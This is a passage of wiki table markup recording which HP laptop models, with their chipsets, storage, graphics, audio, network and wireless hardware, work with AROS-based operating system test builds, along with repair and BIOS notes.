| &lt;!--Name--&gt;HP ProBook 6475b, Probook 4445s 4545s, HP Pavilion 15-b115sa, [https://support.hp.com/gb-en/document/c04015674#AbT6 HP mt41 Mobile Thin Client PC] || &lt;!--Chipset--&gt;AMD very slow A4 4300M, A6 4400M 4455M or A8 4500M with AMD A70M A76M FCH || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;sata || &lt;!--Gfx--&gt;{{Maybe|VESA 7420 7520G 7640G 7660G}} || &lt;!--Audio--&gt;{{no|HD Audio with idt or realtek codec}} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{No|Realtek RTL8151FH-CG}} || &lt;!--Wireless--&gt;{{No|Intel 6205 or Broadcom BCM 43228 bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2014 64bit does support AVX or SSE 4.1 - 15.6-inch - 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;HP ENVY 15-k112nl K1Y78EA || &lt;!--Chipset--&gt;Intel® Core™ i7 i7-4510U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe| }} || &lt;!--Gfx--&gt;Intel HD4400 and/without NVIDIA® GeForce® GTX 850M || &lt;!--Audio--&gt;{{maybe| }} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{no|Intel }} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt;Deadwood usb3 test iso || &lt;!--Comments--&gt;2014 64bit - 15.6&quot; 768p to 1080p - 19.5V 3.33A (65w) 4.62A (90W) 6.15A (120W) AC - 
|-
| &lt;!--Name--&gt;HP Pavilion Gaming Laptop 15-ak002na || &lt;!--Chipset--&gt;Intel 4 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;GTX 950 || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2015 64bit - 
|-
| &lt;!--Name--&gt;HP ProBook 255 G1, 455 G1 F2P93UT#ABA, 645 G1, Envy 15-j151ea G7V80EA, Envy m6-1310sa (E4R01EA#ABU) || &lt;!--Chipset--&gt;AMD very slow Dual-Core E1-1500, or AMD Quad A4-4300M A8-4500M A10-4600M A4-5150M A6-5350M 2.9Ghz A10-5750M || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;sata || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for 7310, 7420G 7520G 7640G 7660G 8350G 8450G or 8550G, 8650G, 8750G }} || &lt;!--Audio--&gt;{{No|HD Audio IDT 92HD91 codec}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|realtek}} || &lt;!--Wireless--&gt;{{No|Atheros}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2015 64bit does support AVX or SSE 4.1 - 14in and 15in 1366 x 768 - external battery - 2 ddr3l sodimm slots - 19.5v / 4.62A psu runs hot - 
|-
| &lt;!--Name--&gt;HP ProBook 245 G4, 255 G2, 455 G2, 255 G3, 455 G3, 255 G4 80CB, 255 G5 82F6, 355 G2, HP Pavilion 15-p038na 15-g092sa 15-p091sa 15-G094S 15-p144na 15-p142na, 15-Af156sa || &lt;!--Chipset--&gt;AMD very slow A4-5000 A6-5200, E2-6110, E1-6010 E2-2000, E1-2100 E2-3800, A4-6210 A6-6310 A8-6410, E2-7110, A6-7310 A8-7410 APU on A68M || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;sata some with cdrw dvdrw || &lt;!--Gfx--&gt;{{Maybe|VESA Radeon R2 R4 R5}} || &lt;!--Audio--&gt;{{no|HD Audio ALC3201-GR}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 RTL8102E or Atheros 1GbE}} || &lt;!--Wireless--&gt;{{unk|Qualcomm Atheros AR9565}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2015 64bit most have SSE4 AVX but E2-2000 does not - 15.6-inch (1366 x 768) - 2 ddr3l sodimm slots - small 31Whr or 41Whr external battery covers 240 G4, 245 G4, 250 G4, 255 G4, 256 G4, 14G, 15G - keyboard repair swap requires removal of all components - 
|-
| &lt;!--Name--&gt;HP Elitebook 725 G2, 745 G2, 755 G2 || &lt;!--Chipset--&gt;Amd Quad very slow A6-7050B A8-7150B 1.9GHz A10-7350B || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;sata || &lt;!--Gfx--&gt;{{Maybe|VESA on AMD R4 R5 Radeon R6 with DP and vga}} || &lt;!--Audio--&gt;{{No|HD audio with IDT 92HD91}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 PCIe GBE}} || &lt;!--Wireless--&gt;{{no|Broadcom or Atheros}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2016 64bit - 12.5-inch, 14&quot; or 15.6in (all 1366 x 768) - 19.5V 65w 45W AC adapter - internal pull up tab battery under base which slides off - 2 ddr3l sodimm slots - keyboard swap requires removal of all components - 
|-
| &lt;!--Name--&gt;HP ProBook 645 g2, Probook 445 G2, Probook 245 G2 most have cmos rtc battery || &lt;!--Chipset--&gt;AMD very slow A6-8600 A8-8700 a10- || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;sata || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for Radeon R5 R6}} || &lt;!--Audio--&gt;{{No|HD Audio }} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{No|Intel I219V 100/1000}} || &lt;!--Wireless--&gt;{{No|Intel or Qualcomm Atheros}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2016 64bit - 14in and 15.6-inch HD (1366 x 768) or FHD 1080p - 2 ddr3l sodimm slots max 16GB - internal battery - hp ac psu tip - 
|-
| &lt;!--Name--&gt;HP Probook 455 G3 should have a cmos battery || &lt;!--Chipset--&gt;AMD slow A10-8700P || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;1 2.5in sata and most should have 9.5mm dvd-rw || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for Radeon R5}} || &lt;!--Audio--&gt;{{No|HDAudio with Conexant CX7501 codec }} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 Realtek RTL8111HSH-CG}} || &lt;!--Wireless--&gt;{{no|RTL8188EE }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2016 64bit - 2 ddr3l sodimm slots - keyboard swap problematic - 
|-
| &lt;!--Name--&gt;HP Elitebook 725 G3, 745 G3, 755 G3, 725 G4, 745 G4, 755 G4, HP mt43 || &lt;!--Chipset--&gt;Amd slow A8-8600B, A10-8700B, A12-8800B to Quad A8 Pro 9600B to A10 9800 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;sata || &lt;!--Gfx--&gt;{{Maybe|VESA on AMD R5 R6 R7 with DP and vga but screen is low res, dull colours, and blurry}} || &lt;!--Audio--&gt;{{No|HD audio with IDT codec}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{No|Broadcom 5762 PCIe GBE}} || &lt;!--Wireless--&gt;{{no|Realtek RTL8723BE-VB}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2016 64bit - 12.5-inch (1366 x 768) to 14&quot; and 15.6in - 2 sodimm ddr3 - 19.5V 45W AC slim 4.5mm hp adapter - randomly shuts down and the noisy fans constantly on - keyboard swap problematic - 
|-
| &lt;!--Name--&gt;HP ProBook 645 G3, 655 G3 should have a cmos rtc battery underside of mb || &lt;!--Chipset--&gt;AMD 8th Gen slow A10-8730B, A8-9600B (4c4t) A6-8530B (2c2t) || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;sata || &lt;!--Gfx--&gt;{{Maybe|VESA 2d for AMD R5}} || &lt;!--Audio--&gt;{{No|HD Audio}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 RTL8111HSH}} || &lt;!--Wireless--&gt;{{No|Intel or Realtek}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2016 64bit - 15.6in - 2 ddr4 sodimm slots - keyboard repair swap requires removal of all components - 
|-
| &lt;!--Name--&gt;HP ProBook 250 G5 easy cmos and external main battery || &lt;!--Chipset--&gt;Intel i7-6500U, i5-6200U, i3-6100U to slow i3-6006U, N3710 all sse4.1 and avx || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe| }} || &lt;!--Gfx--&gt;{{maybe|VESA 2D for iGPU Intel HD405 to HD520 dGPU skylake or AMD Radeon R5 430M}} || &lt;!--Audio--&gt;{{unk|HDAudio  with Realtek ALC3227 (or ALC282) codec 0x0282 }} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 rtl8111HSH}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt;Deadwoods' latest usb3 test iso with noacpi || &lt;!--Comments--&gt;2016 64bit - 15.6 inch 768p - HP ac psu - 2 ddr4 sodimm slots - 
|-
| &lt;!--Name--&gt;HP ProBook 250 G6 SL52 LA-E801P - easy cmos battery and external battery || &lt;!--Chipset--&gt;Intel dual core tested '''i5-7200U''' untested i7-7500U to very slow N3060 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{yes|ahci on M.2 sata or 2.5in sata3 whichever installed with 1 m.2 sata3 permanent and internal dvdrw}} || &lt;!--Gfx--&gt;{{yes|IG: 480p to 1080p 2D for Intel Intel HD Graphics 620 kabylake or AMD Radeon 520}} || &lt;!--Audio--&gt;{{yes|HDAudio 0x8086, 0xa170 or 0x8086, 0x9dc8 with ALC3227 aka ALC282 codec 0x10EC, x0282}} || &lt;!--USB--&gt;{{yes|intel sunrise point-lp USB3.0 xHCI}} || &lt;!--Ethernet--&gt;{{yes|rtl8169 Realtek RTL8111}} || &lt;!--Wireless--&gt;{{No|RTL8821CE or Intel wifi}} || &lt;!--Test Distro--&gt;Deadwoods' latest usb3 D03 test iso with noacpi || &lt;!--Comments--&gt;2017 64bit 768p or 1080p - 19.5V 65W - 2 DDR4 sodimm slots max 16Gb - keyboard swap problematic - synaptics touchpad - poor hinges and build quality - 
|-
| &lt;!--Name--&gt;HP Pavilion 14-BS, HP 15-BS LA-E802P cmos battery and external battery || &lt;!--Chipset--&gt;Intel i3-7200U to slow Celeron  || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|sata 2.5in (possibly requires the drive cable and M.2 sata3, most have no cdrw dvdrw}} || &lt;!--Gfx--&gt;{{Maybe|VESA 2d for Intel}} || &lt;!--Audio--&gt;{{No|HDAudio 0x8086, 0x9d70 with ALC codec 0x10EC, x0}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|Realtek rtl8169}} || &lt;!--Wireless--&gt;{{No|RTL8188CTV, RTL8821CE or Intel Dual Band Wireless-AC 3168}} || &lt;!--Test Distro--&gt;Deadwoods' latest usb3 test iso || &lt;!--Comments--&gt;2017 64bit 768p all - 19.5V 65W - DDR4 slot max 8Gb - keyboard swap problematic - synaptics touchpad - 
|-
| &lt;!--Name--&gt;HP 14-bw022na - cmos coin battery and external battery || &lt;!--Chipset--&gt;AMD very slow A6-9120 APU || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;m.2 sata || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for R3}} || &lt;!--Audio--&gt;{{no|HDAudio VOID with conexant CX7501 codec}} || &lt;!--USB--&gt;{{maybe|USB3 not working but port on the right works}} || &lt;!--Ethernet--&gt;{{yes|Realtek GbE}} || &lt;!--Wireless--&gt;{{No|Realtek}} || &lt;!--Test Distro--&gt;Deadwoods' latest usb3 test iso with noacpi || &lt;!--Comments--&gt;2017 64bit 768p to 900p - keyboard swap problematic - 
|-
| &lt;!--Name--&gt;HP Probook 455 G4, Probook 455 G5, cmos battery on underside of mb take off back cover and below wifi card || &lt;!--Chipset--&gt;AMD very slow A10-9600P APU, A9-9410, A6-9210 APU || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;sata || &lt;!--Gfx--&gt;{{Maybe|VESA Radeon R4, R5 or R6}} || &lt;!--Audio--&gt;{{No|HDAudio with codec }} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|realtek 1GbE}} || &lt;!--Wireless--&gt;{{no|realtek or intel Wireless-AC 7265}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2017 64bit 15.6in 768p - 2 ddr4 sodimm slots - keyboard swap problematic - rr03xl battery - 
|-
| &lt;!--Name--&gt;HP ProBook 255 G6 (), easy cmos and external battery || &lt;!--Chipset--&gt;AMD very slow E2-9000e, A9-9420, 9220P, A4-9125 (all 2c) AMD A6-9225 AMD A9-9425  || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|sata 2.5in (possibly requires the drive cable and M.2 sata3 and internal cdrw dvdrw}} || &lt;!--Gfx--&gt;{{Maybe|VESA 2d for R2 R3 R4}} || &lt;!--Audio--&gt;{{No|HDAudio 0x1022, 0x157a or 0x1002, 0x15b3 with ALC codec 0x10EC, x0}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|Realtek rtl8169}} || &lt;!--Wireless--&gt;{{No|RTL8188CTV, RTL8821CE or Intel Dual Band Wireless-AC 3168}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2017 64bit 768p all - 19.5V 65W - DDR4 slot max 8Gb - keyboard swap problematic - synaptics touchpad - 
|-
| &lt;!--Name--&gt;HP ProBook 255 G7 (la-g078p) - no cmos battery so needs internal battery || &lt;!--Chipset--&gt;AMD very slow E2-9000e, A9-9420, 9220P, A4-9125 (all 2c) AMD A6-9225 AMD A9-9425 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|sata 2.5in (possibly requires the drive cable and M.2 sata3, most have no internal cdrw dvdrw}} || &lt;!--Gfx--&gt;{{Maybe|VESA 2d for R2 R3 R4}} || &lt;!--Audio--&gt;{{No|HDAudio 0x1022, 0x157a or 0x1002, 0x15b3 with ALC codec 0x10EC, x0}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|Realtek rtl8169}} || &lt;!--Wireless--&gt;{{No|RTL8188CTV, RTL8821CE or Intel Dual Band Wireless-AC 3168}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2017 64bit 768p all - 19.5V 65W - DDR4 slot max 8Gb - keyboard swap problematic - synaptics touchpad - 
|-
| &lt;!--Name--&gt;ProBook 245 g8 - no cmos rtc coin battery but uses internal battery || &lt;!--Chipset--&gt;AMD very slow A6-9225, A4-9125, A6-8350B, A4-5350B APU || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;m.2 sata || &lt;!--Gfx--&gt;{{Maybe|VESA R4 R6}} || &lt;!--Audio--&gt;{{no|HDAudio}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|Realtek GbE}} || &lt;!--Wireless--&gt;{{No|Realtek}} || &lt;!--Test Distro--&gt;Deadwoods' latest usb3 test iso || &lt;!--Comments--&gt;2017 64bit 768p - many later variants - keyboard swap problematic - 
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt;Probook 255 G7 84AE 7DE72EA 7DE73EA (epv51 la-g076p) - CMOS Error (502) replace main internal battery HT03XL to have bios remember settings || &lt;!--Chipset--&gt;Ryzen 3 2200U 2300U (2c4t), R5 2500U, R7 2700U (4c8t) Raven Ridge || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{no|M.2 (Sata or NVMe) and very optional 2.5in sata, most have mini sata port}} || &lt;!--Gfx--&gt;{{Maybe|VESA 2d 640p to 768p for AMD Vega 3, 6, or 8}} || &lt;!--Audio--&gt;{{unk|HDAudio 0x1022, 0x15e3 with ALC236 0x10ec, 0x0236 codec}} || &lt;!--USB--&gt;{{maybe|USB3 }} || &lt;!--Ethernet--&gt;{{maybe|rtl8169}} || &lt;!--Wireless--&gt;{{no|Realtek RTL8821CE, 8822BE or Intel AC 8265}} || &lt;!--Test Distro--&gt;AROS x64 deadwoods' iso does not boot with cd/dvd and installed to 2.5in ssd, boots to grub choice, select but no further and reboots || &lt;!--Comments--&gt;2017 64bit - 12.5 to 15.6in 768p mostly to 1080p - 1 on smaller laptops or 2 ddr4 2400mhz sodimm slots on larger laptops max 16Gb - hp 4.5mm blue tip charging - keyboard swap problematic - esc boot options f9 boot order f10 bios - synaptics touchpad - 
|-
| &lt;!--Name--&gt;HP EliteBook 725 G5, 735 G5, 745 G5, 755 G5, Probook 455 G6, ProBook 645 G6 || &lt;!--Chipset--&gt;Ryzen 3 2200U 2300U (2c4t), R5 2500U, R7 2700U (4c8t) Raven Ridge || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{no|M.2 (Sata or NVMe) and very optional 2.5in sata, some have mini sata port but no cdrw dvdrw}} || &lt;!--Gfx--&gt;{{Maybe|VESA 2d 640p to 768p for AMD Vega 3, 6, or 8}} || &lt;!--Audio--&gt;{{No|HDAudio 0x1022, 0x15e3 with ALC 0x10ec, 0x0 codec}} || &lt;!--USB--&gt;{{maybe|USB3 }} || &lt;!--Ethernet--&gt;{{maybe|rtl8169}} || &lt;!--Wireless--&gt;{{no|Realtek RTL8821CE, 8822BE or Intel AC 8265}} || &lt;!--Test Distro--&gt;Deadwoods' latest usb3 test iso does not boot software error || &lt;!--Comments--&gt;2017 64bit - 12.5 to 15.6in 768p mostly to 1080p - 1 on smaller laptops or 2 ddr4 2400mhz sodimm slots on larger laptops max 16Gb - hp 4.5mm blue tip charging - keyboard swap problematic - esc boot options f9 boot order f10 bios - synaptics touchpad - 
|-
| &lt;!--Name--&gt;HP 14-cm, 15-bw0, HP 15-db0043na, HP 15-db0996na, HP 15-db0997na, 17-ca0007na, 17-ca1, ProBook 645 G4 - no cmos battery || &lt;!--Chipset--&gt;Ryzen 2200U (2c 4t) 2500U (4c 8t) with AMD Carrizo FCH 51 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{no|1 M.2 and 1 2.5in on some larger models and hdd port }} || &lt;!--Gfx--&gt;{{Maybe|VESA Radeon R5 and later Vega 3 or 7}} || &lt;!--Audio--&gt;{{No|HDaudio 0x1002, 0x103c or 0x1022, 0x157a with Realtek ALC3227 0x10ec, 0x0282 but ATI HDMI}} || &lt;!--USB--&gt;{{Maybe|USB3 USB boot drive stuck on kitty's eyes}} || &lt;!--Ethernet--&gt;rtl8169 RTL8111E || &lt;!--Wireless--&gt;{{No|RTL 8723DE 8821 bios locked}} || &lt;!--Test Distro--&gt;2020 Icaros 2.3 USB, Deadwoods' latest usb3 test iso does not boot software error || &lt;!--Comments--&gt;2018 64bit 2kg - screen is dim 14in, 15.6in or 17.3&quot; 768p or 1080p - 65W 19.5V ac adapter - internal 3-cell 41 Wh Li-ion battery does not last long - 2 ddr4 sodimm slots - no DVD-Writer - keyboard swap problematic - 
|-
| &lt;!--Name--&gt;HP ProBook 250 G7, 250 G8 - no cmos battery so needs internal battery and needs usb3 boot due to garbage bios boot options || &lt;!--Chipset--&gt;Intel 8235U 8265U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|M.2 nvme not working, optional sata 2.5in requires LS-G072P and ribbon cable, if internal cdrw dvdrw partial boot}} || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for Intel Whiskey Lake-U 620 GT2 UHD}} || &lt;!--Audio--&gt;{{No|HDAudio 0x8086, 0xa170 or 0x8086, 0x9dc8 with ALC236 codec 0x10EC, x0236}} || &lt;!--USB--&gt;{{maybe|Cannon Point-LP USB3.1 xHCI}} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 Realtek RTL8111}} || &lt;!--Wireless--&gt;{{No|RTL8821CE or Intel Dual Band Wireless-AC 3168}} || &lt;!--Test Distro--&gt;Deadwoods' latest usb3 test 2026.09.D01 iso works but does not boot stuck on kittys eyes if burnt to dvdr || &lt;!--Comments--&gt;2018 64bit 1080p all - 19.5V 65W - DDR4 slot max 16Gb - keyboard swap problematic - synaptics touchpad - f9 boot order f10 uefi - 
|-
| &lt;!--Name--&gt;HP 255 G7 7DC73EA 2D200EA 87CE (fpp55 la-g07jp), - CMOS Error (502) replace 41.04Wh ht03xl hto3xl dynapack suzhou main battery to have bios remember settings || &lt;!--Chipset--&gt;'''tested''' R5 3500U (4c8t) '''untested''' mostly dual cores - AMD Athlon Gold 3150U (2c2t), Silver 3050U APU (2c2t), Ryzen 3 Pro 3145U APU, 3200U (2c4t) || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{no|1 m.2 NVMe or sata3 up to 2280, optional 2.5in sata, many have mini-sata slimline 6+7 internal port but no physical 9mm drive}} || &lt;!--Gfx--&gt;{{Maybe|VESA 2D from 640p to 1080p for AMD Vega 3, 6 or 8 with up to 2gb ram taken}} || &lt;!--Audio--&gt;{{unk|HDAudio 0x1022, 0x15e3 with realtek ALC236 codec 0x10ec, 0x0236}} || &lt;!--USB--&gt;{{maybe|USB3 but no usb-c}} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 Realtek GbE RTL8111HSH}} || &lt;!--Wireless--&gt;{{No|Realtek 8822BE}} || &lt;!--Test Distro--&gt;2025 Aros One 32bit and 64bit usb works sometimes but burnt dvdr iso does not fully boot (stuck on kitty's eyes) || &lt;!--Comments--&gt;2018 64bit - 14in / 15.6in dim tn panel 768p or 1080p - 2 ddr4 sodimm slots max 16gb - hp 19.5V 45W 65W AC blue tip round 4.5 mm - keyboard swap problematic - synaptics touchpad - caps lock blinking 3 times then 2 quick pulses means ram or bios issue - f9 boot order f10 uefi - laptop needs usb3 to boot 
|-
| &lt;!--Name--&gt;HP ProBook 450 G5 needs main battery for bios settings saved || &lt;!--Chipset--&gt;Intel i7-8550U, i5-8250U, i3-8130U, i7-7500U, i5-7200U, i3-7100U, i3-7020, i3-6006U all sse4.1 and avx || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe| }} || &lt;!--Gfx--&gt;{{maybe|VESA 2D for Intel UHD}} || &lt;!--Audio--&gt;{{unk|HDAudio  with codec }} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 rtl8111HSH}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt;Deadwoods' latest usb3 test iso with noacpi || &lt;!--Comments--&gt;2018 64bit - 15.6 inch 768p or 1080p - HP ac psu, 1 ddr4 sodimm slot - 
|-
| &lt;!--Name--&gt;[https://support.hp.com/gb-en/document/c06955717 ProBook 245 g8], Probook 445R G6, 455R G6, HP14-dk0599sa, pavilion 15-cw1511na 15-cw1507sa, HP 15s-eq1516sa no cmos battery || &lt;!--Chipset--&gt;AMD Athlon Gold 3150U (2c2t), Silver 3050U APU (2c2t), Ryzen 3 Pro 3145U APU, 3200U (2c4t) and 3500U (4c8t) || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{no|1 m.2 (NVMe or sata3 up to 2280), optional 2.5in sata but resets}} || &lt;!--Gfx--&gt;{{Maybe|VESA 2D from 640p to 1080p for AMD Vega 3, 6 or 8 with up to 2gb ram taken}} || &lt;!--Audio--&gt;{{unk|HDAudio 0x1022, 0x15e3 with realtek ALC codec 0x10ec, 0x0}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 Realtek GbE RTL8111HSH}} || &lt;!--Wireless--&gt;{{No|Realtek 8822BE}} || &lt;!--Test Distro--&gt;Aros || &lt;!--Comments--&gt;2018 64bit - 14in / 15.6in dim tn panel 768p or 1080p - 2 ddr4 sodimm slots max 16gb - hp 19.5V 45W 65W AC blue tip round 4.5 mm - keyboard swap problematic - synaptics touchpad - f9 boot order f10 uefi 
|-
| &lt;!--Name--&gt;HP ProBook 450 G6 needs main battery for bios settings saved || &lt;!--Chipset--&gt;Intel i7-8565U, i5-8265U, i3-8165U all sse4.1 and avx || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe| }} || &lt;!--Gfx--&gt;{{maybe|VESA 2D for Intel UHD 620}} || &lt;!--Audio--&gt;{{unk|HDAudio  with Realtek ALC3246 aka ALC295 codec }} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 rtl8111HSH}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2019 64bit - 15.6 inch 768p or 1080p - 45W 19.5V HP ac psu - 2 ddr4 sodimm slots - 
|-
| &lt;!--Name--&gt;Elitebook 735 G6 5VA23AV, Elitebook 745 G6, 255 g8, HP 15s-dy - no cmos battery || &lt;!--Chipset--&gt;AMD® Ryzen™ 5-3500U Ryzen 3-3300U AMD Ryzen 3-3250U AMD Athlon® Gold 3150U AMD Athlon Silver 3050U AMD 3020e || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{no|m.2 2280 nvme in legacy - hp sure start and secure boot disabled but still issues with gpt installs - LS-H323P LS-K201P}} || &lt;!--Gfx--&gt;{{Maybe|VESA for Vega 8, 5 or 3}} || &lt;!--Audio--&gt;{{No|HDAudio 6.34 ahi with realtek ALC codec 0x10EC, 0x0295}} || &lt;!--USB--&gt;{{maybe|USB3 type-A port boots stick partially to kitty eyes}} || &lt;!--Ethernet--&gt;{{Maybe|rtl8169 realtek RTL8111E or 8111H}} || &lt;!--Wireless--&gt;{{No|realtek or intel}} || &lt;!--Test Distro--&gt;2020 Icaros 2.3 onto USB and AROS One 1.8 USB, Deadwoods' latest usb3 test iso with noacpi || &lt;!--Comments--&gt;2019 64bit - 15.6in 1366x768 to 1920x1080 - 2 3200MHz DDR4 sodimms - 19.5V 2.31A or 20V 2.25 45W 4.5X3.0MM hp - esc bios setup, f9 boot device select - low travel keyboard - poor hw03xl or  battery life - plastic hooked base with retained screws - touchpad? - 
|-
| &lt;!--Name--&gt;HP ProBook 445 G7, 455 G7 || &lt;!--Chipset--&gt;Ryzen 3 4300U 5 4500U 4700U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;1 sata and 1 nvme || &lt;!--Gfx--&gt;{{Maybe|VESA Vega 3}} || &lt;!--Audio--&gt;{{unk|HDAudio with realtek alc236 codec}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|realtek rtl8111ep}} || &lt;!--Wireless--&gt;{{No|realtek RTL8822CE or intel AC 9260 or Wi-Fi 6 AX200}} || &lt;!--Test Distro--&gt;Deadwoods' latest usb3 test iso || &lt;!--Comments--&gt;2020 64bit - 14 inch 768p or 1080p - 2 ddr4 sodimm slots - smart 45w 65w hp or usb-c charging - keyboard swap problematic - RE03XL battery - 
|-
| &lt;!--Name--&gt;HP ProBook 450 G7 || &lt;!--Chipset--&gt;Intel  || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe| }} || &lt;!--Gfx--&gt;{{maybe|VESA 2D for Intel UHD}} || &lt;!--Audio--&gt;{{unk| }} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 rtl8111EP}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt;Deadwoods' latest usb3 test iso with noacpi || &lt;!--Comments--&gt;2020 15.6 inch 768p or 1080p - 1 ddr4 sodimm slot - 
|-
| &lt;!--Name--&gt;HP EliteBook 745 G7, 845 G7, HP 15-EH0006NA || &lt;!--Chipset--&gt;AMD Ryzen 3 4300U, 5 4500U, PRO 4650U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;SSD M.2 || &lt;!--Gfx--&gt;{{Maybe|VESA AMD Radeon Vega 8}} || &lt;!--Audio--&gt;{{unk|Hdaudio  with codec 0x10EC, 0x0257}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{No| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2020 64bit - 15.6in 1080p - 1 ddr4 sodimm slot - Bang &amp; Olufsen speakers - keyboard swap problematic - 
|-
